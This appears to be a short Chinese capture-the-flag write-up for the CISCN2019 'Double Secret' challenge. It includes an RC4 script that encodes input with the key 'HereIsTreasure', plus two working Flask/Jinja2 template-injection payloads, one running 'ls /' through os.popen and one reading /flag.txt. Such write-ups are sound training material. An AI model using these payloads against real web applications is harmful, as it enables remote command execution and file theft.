[CISCN2019 华东南赛区]Double Secret

知识点:flask的ssti注入，rc4加密

题目已经告诉我们两个Secret

再传个secret，随便输入个字符串会报凑。

作者已经很贴心的帮我们标出了重点。

对参数进行了解密，rc4算法，密钥HereIsTreasure

exp脚本：

import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt

def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

进行shell

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls /').read()}}

得到

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}